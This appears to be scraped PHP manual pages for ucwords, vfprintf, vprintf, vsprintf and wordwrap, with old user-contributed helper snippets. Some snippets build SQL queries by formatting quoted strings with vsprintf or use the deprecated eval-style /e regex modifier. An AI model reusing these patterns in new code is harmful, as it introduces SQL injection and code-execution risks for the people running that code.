arjini at gmail dot com 23-Jan-2005 12:20
Not so much ucwords() related as it is capital letter related. I often use camel casing (as do wikis), I needed a reason to reverse the camel casing.

function unCamelCase($str){
    $bits = preg_split('/([A-Z])/',$str,false,PREG_SPLIT_DELIM_CAPTURE);
    $a = array();
    array_shift($bits);
    for($i = 0; $i < count($bits); ++$i)
        if($i%2)
            $a[] = $bits[$i - 1].$bits[$i];
    return $a;
}

print_r(unCamelCase('MyFancyCamelCasedWord'));

Array
(
    [0] => My
    [1] => Fancy
    [2] => Camel
    [3] => Cased
    [4] => Word
)
joshuamallory at yahoo dot com 14-Nov-2004 08:08
If you want to format a string like...

<?php
    $string = "computer programming/repair";
    print ucwords($string);
?>

Output: Computer Programming/repair

Notice the word after the slash (Programming/repair) isn't capitalized. To fix this, use CSS...

<?php
    $string = "computer programming/repair";
    print '<p style="text-transform:capitalize">';
    print ucwords($string);
    print '<p>';
?>
babel - nospamplease - sympatico - ca 10-Feb-2004 08:26
Correction to the code of firewire at itsyourdomain dot com:

preg_replace_callback('/\b(\w)(\w+)?/',
   create_function('$a',
   'return strtoupper($a[1]) . ((sizeof($a) > 2 ) ?
       strtolower($a[2]) : "");'),
    'p.s.: hello.this is my string.');

Will work with punctuation as well as spaces.
deepdene at email dot com 09-Dec-2002 11:20
A function knowing about name case (i.e. caps on McDonald etc)

function name_case($name)
{
    $newname = strtoupper($name[0]);
    for ($i=1; $i < strlen($name); $i++)
    {
        $subed = substr($name, $i, 1);
        if (((ord($subed) > 64) && (ord($subed) < 123)) ||
            ((ord($subed) > 48) && (ord($subed) < 58)))
        {
            $word_check = substr($name, $i - 2, 2);
            if (!strcasecmp($word_check, 'Mc') || !strcasecmp($word_check, "O'"))
            {
                $newname .= strtoupper($subed);
            }
            else if ($break)
            {

                $newname .= strtoupper($subed);
            }
            else
            {
                $newname .= strtolower($subed);
            }
             $break=0;
        }
        else
        {
            // not a letter - a boundary
             $newname .= $subed;
            $break=1;
        }
    }
    return $newname;
}
firewire at itsyourdomain dot com 19-Nov-2002 03:13
For those that want to capitalize based on a regular expression.
print preg_replace_callback('/(\s|^)[a-z]/', create_function('$a', 'return strtoupper($a[0]);'), 'hello this is my string');

This is a quick untested example.
anton at titov dot net 25-Sep-2002 10:56
for those, who not avoid regular expressions, solution of discussed problem:

$text=preg_replace('/(\W)(\w)/e', '"\\1".strtoupper("\\2")', ucfirst(strtolower($text)));
fille at fukt dot bth dot se 27-Aug-2002 08:04
[Editor's note: For details on the bug see
http://bugs.php.net/bug.php?id=14655]

This function has a bug, and while waiting for the bug fix, here is a work-around pice of code.

When using international letters, you will get into troubles with the ucwords() function.

Example:

$string="xxx�xx" will be "Xxx�Xxx" after beeing processed by ucwords().

To get around it, I wrote some extra code that checks the string once more, and lowercases all letters that is not in the beginning of a word.

$string=ucwords($string);
//Bugfix from here on
for($i=0;$i<strlen($string);$i++)
    if((ctype_upper($string[$i]) &&( $string[$i-1]==" " || $i==0 ))!=TRUE)
        $string[$i]=strtolower($string[$i]);

Thia code is also an optional way of doing the same work on a string that is totally UPPERCASE.
27-Aug-2002 07:20
Beware of language when using this function to collate personal names! This may not work with some languages and this depends on the current locale!
So it's best to simply use strtoupper() or strtolower(strtoupper()) to collate names for searches in a database. Avoid using strtolower() directly, as it won't collate some characters like the german '�' into 'ss'.
Capitalizing names is very language dependant: don't do it on address fields such as city names. Prefer uppercasing, or keep the original case if the string must be displayed to a user!
18-Jan-2002 06:14
This seems to be what people want:

function uc_all($string) {
    $temp = preg_split('/(\W)/', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
    foreach ($temp as $key=>$word) {
        $temp[$key] = ucfirst(strtolower($word));
    }
    return join ('', $temp);
}

[ed note: fixed the code to be correct]
Julienc at psychologie-fr dot com 03-Nov-2001 07:06
Its still possible to clean a bit more the previous sample:

$string=strtolower($string); $break=true;
for ($i=0; $i < strlen($string); $i++) { $subed=$string[$i];
if (((ord($subed) > 64) && (ord($subed) < 123)) || ((ord($subed) > 48) && (ord($subed) < 58))) {
if ($break) { $string[$i] = strtoupper($subed); }
$break=false; } else { $break=true; }
}

- Julien
mistcat at mistcat dot com 28-Mar-2001 02:00
Actually that code would work if you changed this line:
$words[0][] = $lastword;
to
$words[0][] = $lastword[0];
neil at no-spam-ents24 dot com 21-Mar-2001 05:10
The code posted above by Joerg Krause only works for a string which ends with one of the delimiters. A possible fix is:

<?php
$text = "What?No delimiters,shit happens here.this solves all problems.";
preg_match_all("/(\w+[,. ?])+/U", $text, $words);
preg_match("/(\w+)$/", $text, $lastword);
$words[0][] = $lastword;
foreach($words[0] as $part) $uwords[] = ucfirst($part);
$text = implode("", $uwords);
echo $text;
?>
ucfirst
vfprintf
String Functions


Write a formatted string to a stream

ucwords
vprintf
String Functions
PHP Manual

vfprintf

(PHP 5)

vfprintf — Write a formatted string to a stream

Description

int vfprintf ( resource $handle , string $format , array $args )

Write a string produced according to format to the stream resource specified by handle.

Operates as fprintf() but accepts an array of arguments, rather than a variable number of arguments.

Parameters

handle

format

See sprintf() for a description of format.

args

Return Values

Returns the length of the outputted string.

Examples

Example #1 vfprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w')))
    return;

vfprintf($fp, "%04d-%02d-%02d", array($year, $month, $day));
// will write the formatted ISO date to date.txt
?>

See Also

  • printf() - Output a formatted string
  • sprintf() - Return a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • vsprintf() - Return a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

There are no user contributed notes for this page.
ucwords
vprintf
String Functions


Output a formatted string

vfprintf
vsprintf
String Functions
PHP Manual

vprintf

(PHP 4 >= 4.1.0, PHP 5)

vprintf — Output a formatted string

Description

int vprintf ( string $format , array $args )

Display array values as a formatted string according to format (which is described in the documentation for sprintf()).

Operates as printf() but accepts an array of arguments, rather than a variable number of arguments.

Parameters

format

See sprintf() for a description of format.

args

Return Values

Returns the length of the outputted string.

Examples

Example #1 vprintf(): zero-padded integers

<?php
vprintf("%04d-%02d-%02d", explode('-', '1988-8-1')); // 1988-08-01
?>

See Also

  • printf() - Output a formatted string
  • sprintf() - Return a formatted string
  • vsprintf() - Return a formatted string

User Contributed Notes

taken from &#34;Php Phrasebook&#34; 15-Jun-2008 10:55
<?php
$string = 'The site runs on PHP '.phpversion();
preg_match('/php ((\d)\.\d\.\d+)/i',$string,$matches);
print_r($matches);
vprintf('Match: %s<br /> Version %s; Major:%d.',$matches);
?>

output:
Array ( [0] => PHP 5.2.5 [1] => 5.2.5 [2] => 5 )
Match: PHP 5.2.5 Version 5.2.5; Major:5.

For preg_match:

If matches  is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1]  will have the text that matched the first captured parenthesized subpattern, and so on.
badcop666 at hotmail dot com 28-Nov-2007 05:38
For blocks of text, sprintf() is slow according to my tests.

Also, having the mapping between place-holders and the list of actual variables or datastructures often makes this code difficult to read. But the printf() family are widely supported and have a huge range of nice features. Performance is a cold mistress though!

From an ease-of-reading and maintenance, debugging point of view, I much prefer HEREDOC and "...{$variable}..." methods.

For a block of HTML markup with place holders, the fastest by far was:-

?>
<div> markup etc<?= $variable ?>more markup
<?

My tests comprised 20 runs of a loop of 1 million iterations with output buffering, ditching the buffer on each loop.

The timings ranged from average 2.1msec/million repetitions for the <?= $var ?> method up to 7.6msec/million using printf().

I'll try some benchmarking tools too, since I just wrote this myself and it could be introducing bias, but they've run on dev servers with low load.

Hopefully interesting.
tehjosh at gamingg dot net 29-Jul-2007 07:19
To toolofthesystem at gmail dot com:

You don't need to use output buffering with vprintf() because you can use vsprintf(), which has the same functionality as vprintf(), except that it returns the resulting string instead of outputting it.
toolofthesystem at gmail dot com 27-Mar-2007 08:42
This function comes useful sometimes when trying to list information returned from MySQL:

function print_sql($query,$printf){
    $sql_sql = mysql_query($query);
    while($sql = mysql_fetch_row($sql_sql)){
        vprintf($printf,$sql);
    }
}

Unfortunately, this seems to sneak its way past output buffering when I tried creating an argument to allow it to be contained in a returned string... either that or I didn't do it right.
soylent at soylentgreens dot com 10-Dec-2006 01:49
I wanted to achieve (something like) this:

<?
$format = "A %s %s %s.\n";

$array1 = Array("monkey", "cow", "rooster");
$array2 = Array("eats", "goes", "crows");
$array3 = Array("bananas", "moo", "in the morning");

printf($format, $array1, $array2, $array3);
?>

Output:
A monkey eats bananas.
A cow goes moo.
A rooster crows in the morning.

but I couldn't find any php function to put in for printf that would work (vprintf comes close).  So I created this little function (and used it to create a select box):

<?

/*
  printf_arrays( string format, [array args[, array ...]] )
*/

function printf_arrays($format) {
    $args = func_get_args();
    array_shift($args); // get rid of format
    for($i=0; $i<count($args[0]); $i++) {
        $pfargs = Array();
        foreach($args as $arr) $pfargs[] = (is_array($arr) && $arr[$i]) ? $arr[$i] : '';
        vprintf($format, $pfargs);
    }
}

$months = Array(
  '01'=>'Jan',
  '02'=>'Feb',
  /* etc. */
);

?>

<select name="month">
  <? printf_arrays('<option value="%s">%s</option>', array_keys($months), array_values($months)) ?>
</select>

Anyone else have any better ideas?  Is there a built-in php function I missed that does this already?
caleb at tekhawk dot com 29-Nov-2006 02:19
i know that you can use %1$s or %3$s to select the first or third string but how can you or can you use array names to select it

something like %'user'$s $'email'$s

i tend to add things to my databases over time and this could save loads of recoding
WebMaestro (asiby at hotmail dot com) 13-Mar-2005 12:40
<?php
$fruits = array(1, 'banana',1, 'apples', 3, 'oranges', 2, 'peaches');

vprintf("I have %d %s, %d %s, %d %s and %d %s.", $fruits);
?>

Output:

I have 1 banana, 1 apples, 3 oranges and 2 peaches.
vfprintf
vsprintf
String Functions


Return a formatted string

vprintf
wordwrap
String Functions
PHP Manual

vsprintf

(PHP 4 >= 4.1.0, PHP 5)

vsprintf — Return a formatted string

Description

string vsprintf ( string $format , array $args )

Operates as sprintf() but accepts an array of arguments, rather than a variable number of arguments.

Parameters

format

See sprintf() for a description of format.

args

Return Values

Return array values as a formatted string according to format (which is described in the documentation for sprintf()).

Examples

Example #1 vsprintf(): zero-padded integers

<?php
print vsprintf("%04d-%02d-%02d", explode('-', '1988-8-1')); // 1988-08-01
?>

See Also

  • sprintf() - Return a formatted string
  • vprintf() - Output a formatted string

User Contributed Notes

strata_ranger at hotmail dot com 29-Jun-2010 11:15
Here's a simple variation on vsprintf() suitable for use with database queries where the results were retrieved as an associative array keyed by column names.

<?php

function dbsprintf($format, $fields, $row)
// $format - sprintf() compatible format string
// $row - Array containing key/value pairs of data
// $fields - Array containing key names (from $row) that are to be used as arguments
{
  // Loop through $fields and insert the corresponding values from $row
  foreach($fields as &$value)
  {
    $value = $row[$value];
  } unset($value);

  // Format the string and return
  return vsprintf($format, $fields);
}

// Some data
$row = Array('id' => '12', 'name' => 'World');

// Outputs "Hello World!"
echo dbsprintf('Hello, %s!', Array('name'), $row);
// Outputs "Hello 12!"
echo dbsprintf('Hello, %s!', Array('id'), $row);

?>
jeppe dot dyrby at gmail dot com 04-Mar-2009 04:52
Heres a new version of the vnsprintf function, i call it dsprintf, but that should matter.

<?php
function dsprintf() {
  $data = func_get_args(); // get all the arguments
  $string = array_shift($data); // the string is the first one
  if (is_array(func_get_arg(1))) { // if the second one is an array, use that
    $data = func_get_arg(1);
  }
  $used_keys = array();
  // get the matches, and feed them to our function
  $string = preg_replace('/\%\((.*?)\)(.)/e',
    'dsprintfMatch(\'$1\',\'$2\',\$data,$used_keys)',$string);
  $data = array_diff_key($data,$used_keys); // diff the data with the used_keys
  return vsprintf($string,$data); // yeah!
}

function dsprintfMatch($m1,$m2,&$data,&$used_keys) {
  if (isset($data[$m1])) { // if the key is there
    $str = $data[$m1];
    $used_keys[$m1] = $m1; // dont unset it, it can be used multiple times
    return sprintf("%".$m2,$str); // sprintf the string, so %s, or %d works like it should
  } else {
    return "%".$m2; // else, return a regular %s, or %d or whatever is used
  }
}
$str = "Hello, %(place)s, how is it hanning at %(place)s? %s works just as well";
$find = array(
  'place' => 'world',
  'sprintf',
  'not used'
);
echo dsprintf($str, $find);
// 'Hello, world, how is it hanning at world? sprintf works just as well'
?>
www dot wesley at gmail dot com 15-Nov-2008 12:02
Here's the new version of vnsprintf()

Thanks to "César Kästli" and "Jan Ulrych"

<?php
function vnsprintf( $format, array $data)
{
    preg_match_all( '/ (?<!%) % ( (?: [[:alpha:]_-][[:alnum:]_-]* | ([-+])? [0-9]+ (?(2) (?:\.[0-9]+)? | \.[0-9]+ ) ) ) \$ [-+]? \'? .? -? [0-9]* (\.[0-9]+)? \w/x', $format, $match, PREG_SET_ORDER | PREG_OFFSET_CAPTURE);
    $offset = 0;
    $keys = array_keys($data);
    foreach( $match as &$value )
    {
        if ( ( $key = array_search( $value[1][0], $keys, TRUE) ) !== FALSE || ( is_numeric( $value[1][0] ) && ( $key = array_search( (int)$value[1][0], $keys, TRUE) ) !== FALSE) )
        {
            $len = strlen( $value[1][0]);
            $format = substr_replace( $format, 1 + $key, $offset + $value[1][1], $len);
            $offset -= $len - strlen( 1 + $key);
        }
    }
    return vsprintf( $format, $data);
}

$example = array(
    0 => 'first',
    'second' => 'second',
    'third',
    4.2 => 'fourth',
    'fifth',
    -6.7 => 'sixth',
    'seventh',
    'eighth',
    '9' => 'ninth',
    'tenth' => 'tenth',
    '-11.3' => 'eleventh',
    'twelfth'
);

echo vnsprintf( '%1$s %2$s %3$s %4$s %5$s %6$s %7$s %8$s %9$s %10$s %11$s %12$s<br />', $example); // acts like vsprintf
echo vnsprintf( '%+0$s %second$s %+1$s %+4$s %+5$s %-6.5$s %+6$s %+7$s %+9$s %tenth$s %-11.3$s %+10$s<br />', $example);
?>
jan dot ulrych at gmail dot com 14-Jul-2008 01:45
Thanks a lot for vnsprintf function.

However, there is a little bug which occurs only when the  number of parameters in the $data is greater than 10.

The replacement is not performed correctly when two or more replacements should be performed. When the referenced parameter is at position greater or equal to 10 in $data array and it precedes any other referenced parameter in $format string then the subsequent replacement(s) are not performed correctly.

The $offset value should be calculated as
 $offset -= $len - strlen( 1 + $key);

as we substitute string (or float) identifier in the original $format string by value 1 + $key, not $key.
www dot wesley at gmail dot com 16-Jun-2008 01:56
vnsprintf is equal to vsprintf except for associative, signed or floating keys.

vnsprintf supports for example "%assocKey$05d", "%-2$'+10s" and "%3.2$05u", vsprintf doesn't

vnsprintf( '%2$d', $array) [2nd value] is equal to vsprintf( '%2$d', $array) [2nd value]
vnsprintf( '%+2$d', $array) [key = 2] is equal to vnsprintf( '%2.0$d', $array) [key = 2]
vnsprintf( '%+2$d', $array) [key = 2] is different of vsprintf( '%+2$d', $array) [unsupported]

When you use signed or floating keys, vnsprintf searchs for the signed truncated key of the original array

Note¹: vnsprintf does not support for example "%someKeyf" (floating number, key = someKey) or "%+03d" (signed decimal number, key = 3), you should use "%someKey$f" or "%+03$d" respectively.
Note²: "%+03d" (or "%1$+03d") will be interpreted as signed zero-padded decimal number

<?php
function vnsprintf( $format, array $data)
{
    preg_match_all( '/ (?<!%) % ( (?: [[:alpha:]_-][[:alnum:]_-]* | ([-+])? [0-9]+ (?(2) (?:\.[0-9]+)? | \.[0-9]+ ) ) ) \$ [-+]? \'? .? -? [0-9]* (\.[0-9]+)? \w/x', $format, $match, PREG_SET_ORDER | PREG_OFFSET_CAPTURE);
    $offset = 0;
    $keys = array_keys($data);
    foreach ( $match as &$value )
    {
        if ( ( $key = array_search( $value[1][0], $keys) ) !== FALSE || ( is_numeric( $value[1][0]) && ( $key = array_search( (int)$value[1][0], $keys) ) !== FALSE ) ) {
            $len = strlen( $value[1][0]);
            $format = substr_replace( $format, 1 + $key, $offset + $value[1][1], $len);
            $offset -= $len - strlen( $key);
        }
    }
    return vsprintf( $format, $data);
}

$examples = array(
    2.8=>'positiveFloat',    // key = 2 , 1st value
    -3=>'negativeInteger',    // key = -3 , 2nd value
    'my_name'=>'someString'    // key = my_name , 3rd value
);

echo vsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // [unsupported]
echo vnsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // output : "someString"

echo vsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // output : "negativeInteger"

echo vsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : "negativeInteger"
echo vnsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : [= vsprintf]

echo vsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // output : "negativeInteger"
?>
iisys_ at hotmail dot com 19-Nov-2006 10:29
I've made this simple function for more compatibility with different applications.
As arguments, it can accept an array or single arguments.

<?php
function asprintf() {
    $a = func_get_args();
    $format = array_shift($a);
    if (is_array($a[0])) {
        $a = $a[0];
    }
    return vsprintf($format, $a);
}

# Examples.

$sql_arguments = array('fields' => '*', 'table' => 'users', 'field' => 'user', 'value' => 'exploited');

echo asprintf("SELECT %s FROM %s WHERE %s = '%s'", $sql_arguments);
# Would output: SELECT * FROM users WHERE user = 'exploited'

echo asprintf("SELECT %s FROM %s WHERE %s = '%s'", '*', 'users', 'user', 'exploited');
# Would output the same.
?>
Roadster 30-Sep-2006 07:44
Please note: The same functionality (sortof) can be attained between version 4.0.4 and 4.1.0 using call_user_func_array.

Example:

call_user_func_array("sprintf", $arg)

First element of $arg is the format. This rescued me in a situation where version 4.1.0 wasn't available.
jon at ardentcreative dot co dot uk 17-Feb-2006 03:56
This can be used for quick and dirty internationalization:

<?php
$GLOBALS['strings']['example'] = "There are %d people.";

// Loads a phrase from the translations list in lang/$lang/phrases.php
function t() {
    $args = func_get_args();
    $nArgs = func_num_args();

    $phrase = array_shift($args);
    $nArgs--;

    include_once("../lang/" . lang() . "/phrases.php");
    if (isset($GLOBALS['strings'][$phrase])) {
        return vsprintf($GLOBALS['strings'][$phrase], $args);
    } else {
        return '<span style="color: #ff0000">Untranslated string: ' . $phrase . '</span>';
    }
}
?>
toneee at g mail dot com 19-Dec-2005 09:27
I found this function to be useful for formatting sql queries.

I do something like this:

function sql_build($template, $params = array()) {
  global $sql_templates;
  if (isset($sql_templates[$template])) {
    $sql = vsprintf($sql_templates[$template], $params);
    return $sql;
  }
  return false;
}

// Fetch list of contacts, for a given section id
$sql_templates['contacts_by_section'] = <<<ENDSQL
select
  id,
  name,
  email,
  address,
  photo_id
from
  contacts
where
  section_id = %d
ENDSQL;

You also give yourself an added layer of security on the sql due to the sprintf formatting. For example, using %d will not allow any sql injection for that parameter.
tbS dot P dot A dot M at S dot U dot K dot Staylorbarstow dot com 01-Mar-2005 11:49
Simple but useful routine:

<?php
function vsprintf_iter($fmt,$data) {
    if (!is_array($data)) return false;
    $ret = '';
    foreach ($data as $d) {
        $ret .= vsprintf($fmt,$d);
    }
    return $ret;
}
?>
jed at NOSPAM dot jed dot bz 22-May-2004 06:48
vsprintf() accepts arrays with any keys, so the array_shift() technique is unnecessary when writing a printf-type function. Any parameters you require are easily unset from the array you retrieve with func_get_args():

<?php

function mysprintf($format) {
    $args = func_get_args();
    unset($args[0]); /* get rid of "$format" */
    return vsprintf($format, $args);
}

/* I use this technique in production code as follows: */
function logf($target, $string) {
    $args = func_get_args();
    unset($args[0], $args[1]);
    fprintf($GLOBALS['config']['logtargets'][$target],
        "[%s] %s\n", date('H:i'), wordwrap(vsprintf($string, $args), 75, '\n\r '));
}

/* e.g.:
    logf(DEBUG, "Oops! %s", mysql_error());
 */

?>

array_shift() and other costly array operations aren't required, as far as I know. I could be wrong.
drm at melp dot nl 29-Jan-2004 09:02
When combining with func_get_args as above, you might want to consider using array_shift:

<?
function someFunc () {
   $args = func_get_args ();
   $format = array_shift ( $args );
   // do something
   return vsprintf ( $format, $args );
}
?>

keeps it clean ;)
samviseNOSPAM at hobbitonNOSPAM dot it 02-Jul-2002 06:55
i wrote a short function that make use of vsprintf. It is useful in first coding/debugging of php scripts, because it is called like a simple printf and it display in italic (you can change it of course ;-) ) every debug messages, making it easy to remove them when your code is ready.

here goes :

<?php
function printd() {
        $debug_array=func_get_args();
        $debug_numargs=func_num_args();
        $debug_fmt=$debug_array[0];
        for ( $i = 0 ; $i < $debug_numargs ; $i++ )
                $debug_array[$i] = $debug_array[$i+1];
        $debug_text=vsprintf($debug_fmt, $debug_array);
        printf("--> debug <i>%s</i>\n",
                $debug_text);
}
?>
vprintf
wordwrap
String Functions


Wraps a string to a given number of characters

vsprintf
Variable and Type Related Extensions
String Functions
PHP Manual

wordwrap

(PHP 4 >= 4.0.2, PHP 5)

wordwrap — Wraps a string to a given number of characters

Description

string wordwrap ( string $str [, int $width = 75 [, string $break = "\n" [, bool $cut = false ]]] )

Wraps a string to a given number of characters using a string break character.

Parameters

str

The input string.

width

The column width.

break

The line is broken using the optional break parameter.

cut

If the cut is set to TRUE, the string is always wrapped at or before the specified width. So if you have a word that is larger than the given width, it is broken apart. (See second example).

Return Values

Returns the given string wrapped at the specified column.

Changelog

Version | Description
4.0.3 | The optional cut parameter was added.

Examples

Example #1 wordwrap() example

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 20, "<br />\n");

echo $newtext;
?>

The above example will output:

The quick brown fox<br />
jumped over the lazy<br />
dog.

Example #2 wordwrap() example

<?php
$text = "A very long woooooooooooord.";
$newtext = wordwrap($text, 8, "\n", true);

echo "$newtext\n";
?>

The above example will output:

A very
long
wooooooo
ooooord.

See Also

  • nl2br() - Inserts HTML line breaks before all newlines in a string
  • chunk_split() - Split a string into smaller chunks

User Contributed Notes

mail at dasprids dot de 08-Oct-2011 05:35
A completly working, multibyte-safe, version of wordwrap (as I contributed it to the Zend Framework in Zend_Text_MultiByte). It's mostly a port of the original PHP wordwrap function, backed by a lot of unit tests:

<?php
/**
 * Word wrap
 *
 * @param  string  $string
 * @param  integer $width
 * @param  string  $break
 * @param  boolean $cut
 * @param  string  $charset
 * @return string
 */
function iconv_wordwrap($string, $width = 75, $break = "\n", $cut = false, $charset = 'utf-8')
{
    $stringWidth = iconv_strlen($string, $charset);
    $breakWidth  = iconv_strlen($break, $charset);

    if (strlen($string) === 0) {
        return '';
    } elseif ($breakWidth === null) {
        throw new Zend_Text_Exception('Break string cannot be empty');
    } elseif ($width === 0 && $cut) {
        throw new Zend_Text_Exception('Can\'t force cut when width is zero');
    }

    $result    = '';
    $lastStart = $lastSpace = 0;

    for ($current = 0; $current < $stringWidth; $current++) {
        $char = iconv_substr($string, $current, 1, $charset);

        if ($breakWidth === 1) {
            $possibleBreak = $char;
        } else {
            $possibleBreak = iconv_substr($string, $current, $breakWidth, $charset);
        }

        if ($possibleBreak === $break) {
            $result    .= iconv_substr($string, $lastStart, $current - $lastStart + $breakWidth, $charset);
            $current   += $breakWidth - 1;
            $lastStart  = $lastSpace = $current + 1;
        } elseif ($char === ' ') {
            if ($current - $lastStart >= $width) {
                $result    .= iconv_substr($string, $lastStart, $current - $lastStart, $charset) . $break;
                $lastStart  = $current + 1;
            }

            $lastSpace = $current;
        } elseif ($current - $lastStart >= $width && $cut && $lastStart >= $lastSpace) {
            $result    .= iconv_substr($string, $lastStart, $current - $lastStart, $charset) . $break;
            $lastStart  = $lastSpace = $current;
        } elseif ($current - $lastStart >= $width && $lastStart < $lastSpace) {
            $result    .= iconv_substr($string, $lastStart, $lastSpace - $lastStart, $charset) . $break;
            $lastStart  = $lastSpace = $lastSpace + 1;
        }
    }

    if ($lastStart !== $current) {
        $result .= iconv_substr($string, $lastStart, $current - $lastStart, $charset);
    }

    return $result;
}
?>
paul at preinheimer dot com 25-Sep-2011 04:04
If your goal is to allow a browser to word-wrap nicely, while maintaining a fluid layout, you'll want to break with: &#8203

It's a zero width space character: http://en.wikipedia.org/wiki/Zero-width_space

This way the browser can break where it needs to, without adding a visual distraction of spaces within the text.

e.g.
<?php
//Using &#8203; here allows the browser to break the line of text, without the visual distraction.
$line = wordwrap($line, 10, "&#8203;", true);
?>

#PROTIP: leave a comment, so the next person to read your code has a clue what you've done.
info at hsdn dot org 08-Jul-2011 08:41
Wordwrap with UTF-8 supports, returns as array.

<?php

function mb_wordwrap_array($string, $width)
{
    if (($len = mb_strlen($string, 'UTF-8')) <= $width)
    {
        return array($string);
    }

    $return = array();
    $last_space = FALSE;
    $i = 0;

    do
    {
        if (mb_substr($string, $i, 1, 'UTF-8') == ' ')
        {
            $last_space = $i;
        }

        if ($i > $width)
        {
            $last_space = ($last_space == 0) ? $width : $last_space;

            $return[] = trim(mb_substr($string, 0, $last_space, 'UTF-8'));
            $string = mb_substr($string, $last_space, $len, 'UTF-8');
            $len = mb_strlen($string, 'UTF-8');
            $i = 0;
        }

        $i++;
    }
    while ($i < $len);

    $return[] = trim($string);

    return $return;
}

?>
dynastoned 08-Jun-2011 05:08
I wrote this because people leaving comments would spam or make words that were too long and it was breaking the tables in my design.

So for instance if someone wanted to type "hahahhahahahhahahhahahhahahhahahahhaha" it would go past the specified table width and break the design.

To curb this problem I needed a way to break words that were longer than 15 characters in length.  So I figured if I added a space every 15 characters that would solve my problem.  This is how I did it.

Example:

<?php

// comment the user left
$comment = "hi im here to break your page bahahahhahahhahhahhahahha.  i hope this makes you mad lolllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.";

// breaking down each word in the $comment into arrays using explode().
$array = explode(" ", $comment);

// here i used the for loop to enable me to run each word one by one through wordwrap() and add a space into the word if it is longer than 15 characters.
for ($i = 0, $array_num = count($array); $i < $array_num; $i++) {
    $word_split = wordwrap($array[$i], 15, " ", true);
    echo "$word_split ";
}

// result = hi im here to break your page bahahahhahahhah hahhahahha. i hope this makes you mad lolllllllllllll lllllllllllllll lllllllllllllll lllllllllllllll lllllllll.

?>
mulllhausen 28-Apr-2011 12:16
here is another function acts like wordwrap but ignores html tags. it basically takes out all the tags from the string, wordwrappes the string, then puts the tags back in. enjoy ;)

<?php

function html_wordwrap($str, $width = 75, $break = "\n", $cut = false)
{
    //same functionality as wordwrap, but ignore html tags
    $unused_char = find_unused_char($str); //get a single character that is not used in the string
    $tags_arr = get_tags_array($str);
    $q = '?';
    $str1 = ''; //the string to be wrapped (will not contain tags)
    $element_lengths = array(); //an array containing the string lengths of each element
    foreach($tags_arr as $tag_or_words)
    {
        if(preg_match("/<.*$q>/", $tag_or_words)) continue;
        $str1 .= $tag_or_words;
        $element_lengths[] = strlen($tag_or_words);
    }
    $str1 = wordwrap($str1, $width, $unused_char, $cut);
    foreach($tags_arr as &$tag_or_words)
    {
        if(preg_match("/<.*$q>/", $tag_or_words)) continue;
        $tag_or_words = substr($str1, 0, $element_lengths[0]);
        $str1 = substr($str1, $element_lengths[0]);
        array_shift($element_lengths); //delete the first array element - we have used it now so we do not need it
    }
    $str2 = implode('', $tags_arr);
    $str3 = str_replace($unused_char, $break, $str2);
    return $str3;
}
function get_tags_array($str)
{
    //given a string, return a sequential array with html tags in their own elements
    $q = '?';
    return preg_split("/(<.*$q>)/",$str, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
}
function find_unused_char($str)
{
    //find an unused character in a string
    $possible_chars = array('|', '!', '@', '#', '$', '%', '^', '&', '*', '~');
    foreach($possible_chars as $char) if(strpos($str, $char) === false) return $char;
    die('you must add another SINGLE unused character, not one of [|!@#$%^&*~], to the $possible_chars array in function find_unused_char');
}

?>
altin_bardhi at yahoo dot co dot uk 27-Jan-2011 04:03
Here I have come out with a possibly very useful wordwrap code snippet.

Apparently what this piece of code does is: it takes the entered text and looks for words longer than the defined ‘$chunk_length’ if it finds any, it splits the long words and then it concatenates the whole string back to a new string with longer words separated by a dash character in this case.

After it has accomplished this task it then inserts an HTML line break after a specified ‘$line_length’ (Depending on your containers width requirements)

<?php

//Start function explode_ wrap
function explode_wrap($text, $chunk_length, $line_length){

//Explode all the words separated by spaces in a string
$string_chunks = explode(' ', $text);

// Get each split word from the array $sring_chunks_array => key => value
foreach ($string_chunks as $chunk => $value) {

if(strlen($value) >= $chunk_length){

//Split the chunks/words which are longer than $chunk_length
$new_string_chunks[$chunk] = chunk_split($value, $chunk_length, ' - ');

}else {

//Do not split the normal length words
$new_string_chunks[$chunk] = $value;

}

}//End foreach loop

//Concatenate back the all the words
$new_text=implode(' ', $new_string_chunks);

return wordwrap($new_text, $line_length, '<br />');

}//End function

?>
holdoffhunger at gmail dot com 12-Dec-2010 09:47
Say you have a string you want to output to the user, but you want to wordwrap the words with WBR and ampersand-shy-semicolon tags.  This will cause the word to break in half in HTML, instead of causing the page to be huge in width.  This is extremely useful for displaying full link URLs, as many of them run on forever, and in PHP-BB, that means an entire thread will look ugly, because of one guy posting a link.  On the other hand, both the WBR and ampersand-shy-semicolon tags ignore any spaces near them.  That means, if you parsed all your PHP-BB inputted data, a sentence would like this: "Thisisasentence."  It effectively cuts out the spaces.  The solution?  Do an str_replace, finding every " " (one space) and replacing it with ("  ") spaces, and then wordwrap the entire string with WBR/shy tags, every four spaces.  This guarantees that spaces within HTML will be recognized properly in all browsers, while also guaranteeing that no words will fail to wordwrap.
nbenitezl[arroba]gmail[dot]com 02-Dec-2010 04:56
